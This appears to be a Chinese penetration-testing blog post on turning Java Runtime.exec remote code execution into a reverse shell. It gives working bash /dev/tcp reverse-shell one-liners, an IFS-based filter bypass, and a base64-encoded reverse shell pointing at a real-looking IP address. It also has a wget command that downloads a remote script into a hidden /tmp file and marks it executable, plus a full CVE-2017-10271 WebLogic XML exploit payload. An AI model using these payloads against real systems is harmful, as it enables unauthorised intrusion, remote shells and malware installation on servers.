java 反弹shell
[TOC]
在渗透测试中,偶尔会遇到目标为java环境下的RCE,其中java命令执行的函数比较常见的分为Runtime和Process的类。这里遇到的坑以及解决方法。
runtime
这里主要涉及 Runtime.getRuntime().exec()
测试用例如下:
import java.lang.Runtime;
import java.lang.Process;
public class exec {
public exec(){
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"ping","-c","3","th9bvw.ceye.io"};
Process pc = rt.exec(commands);
System.out.println("11111");
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
System.out.println("2222");
}
}
public static void main(String[] argv){
exec e = new exec();
}
}
管道符号
在遇到对渗透目标执行重定向或者pipeline的时候,对应符号不会被解析,重定向或管道符号失效。解析如下:
ls /tmp/ | grep xx
这个时候 该程序中管道符号被视为普通字符
ls "/tmp" "|" "grep" "xx"
比如遇到以下环境:
- weblogic 漏洞 在执行weblogic RCE中,对其进行测试并使其载入远程服务器上面的木马时,需要满足条件如下:
- 命令执行,载入下载程序并执行下载程序,在这个时候命令如下:
cmd = "wget http://th9bvw.ceye.io/down_v2_1.sh -q -O /tmp/.font-unixx && chmod +x /tmp/.font-unixx &"
直接执行该命令,会发现&&后的语句并没有成功执行,这个时候就要执行以下方法了,以数组方法执行,详情参照exec
的重载
linux目标
在linux下,常用方法(注意下,这里执行的时候,/bin/sh会以sh shell执行,/bin/bash会以bash执行,具体看怎么调用
String[] command = { "/bin/sh", "-c", cmds };
Process ps = Runtime.getRuntime().exec(command );
sh -c 作用说明:
让调用的bash 将一个字符串作为完整的命令来执行
常用反弹shell
sh
/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/9999 0>&1'
bash
/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'
这里备注下 OSX系统中存在多种shell
因为常用的shell 是zsh ,所以遇到多种情况有点坑,应该是环境变量没配好
如 以下命令:
在zsh中
在bash中:
在sh中:
windows目标
在windows下,常用方法
String[] command = { "cmd", "/c", cmds };
Process ps = Runtime.getRuntime().exec(command );
综上 即命令中涉及 < > | &
等符号时getRuntime().exec(String command )
此时已不适用,可以尝试exec(String [] cmdArray)
exec(String []cmdarray,String []envp,File dir)
来执行
但当遇到的命令执行的点是getRuntime().exec(String command )
,此时这些绕过方法即不适用了。涉及到 bypass exec
bypass exec
IFS
Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
————————————————
版权声明:本文为CSDN博主「whuslei」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/whuslei/article/details/7187639
查看其值
“040”是空格,”011”是Tab,”012”是换行符”\n”
即简单来说 IFS可以替代 空格
在这里用来绕过尝试:
跟踪exec:
这里可以明显看到 IFS起到了分隔符的作用
正常情况下
这样传入参数是可以执行的
但是一个比较坑的事,在mac中bash 使用IFS没有反弹shell,但在centos中就可以使用,猜测是osx的环境变量有问题。
经测试,改用osx的shell环境 可以执行
/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888<&1
centos中的反应
命令执行base64编码
在java反序列化中可能遇上反序列化命令执行中存在转义的现象,这个时候可以使用base64编码进行绕过
cmd = "{echo,%s}|{base64,-d}|{bash,-i}" %base64.b64encode(cmd)
String[] commands = {"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMjQuMTQ2LjIwNC84NTUwIDA+JjE=}|{base64,-d}|{bash,-i}"}
反序列化示例
xml执行绕过
这里遇到在反序列化存在于xml中的时候,在用到管道符等时要用实体编码进行绕过处理
利用实例 CVE-2017-10271
该漏洞利用poc如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>'''+cmd+'''</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
其中在cmd中传入字符串的时候需要进行编码,否则会进行报错
<string>wget http://th9bvw.ceye.io -o /tmp/.test12.sh && chmod +x /tmp/.test12.sh</string>
文件传输
在测试中遇到在上传执行脚本时,发现系统上不存在wget、curl等命令,即无法直接通过shell 脚本进行云端下载请求,可以尝试使用Bash /dev/tcp 进行文件传输:
通过 bash直接建立socket请求(待测试)
exec 8<>/dev/tcp/127.0.0.1/11211
#使用文件描述符8以<>(<读>写)方式,打开127.0.0.1的tcp11211端口
ls -l /proc/self/fd
#查看打开的连接8
echo -e "stats" >&8
#向socket写入数据
cat <&8
#从socket读入数据
exec 8<&-
#关闭socket读
exec 8>&-
#关闭socket写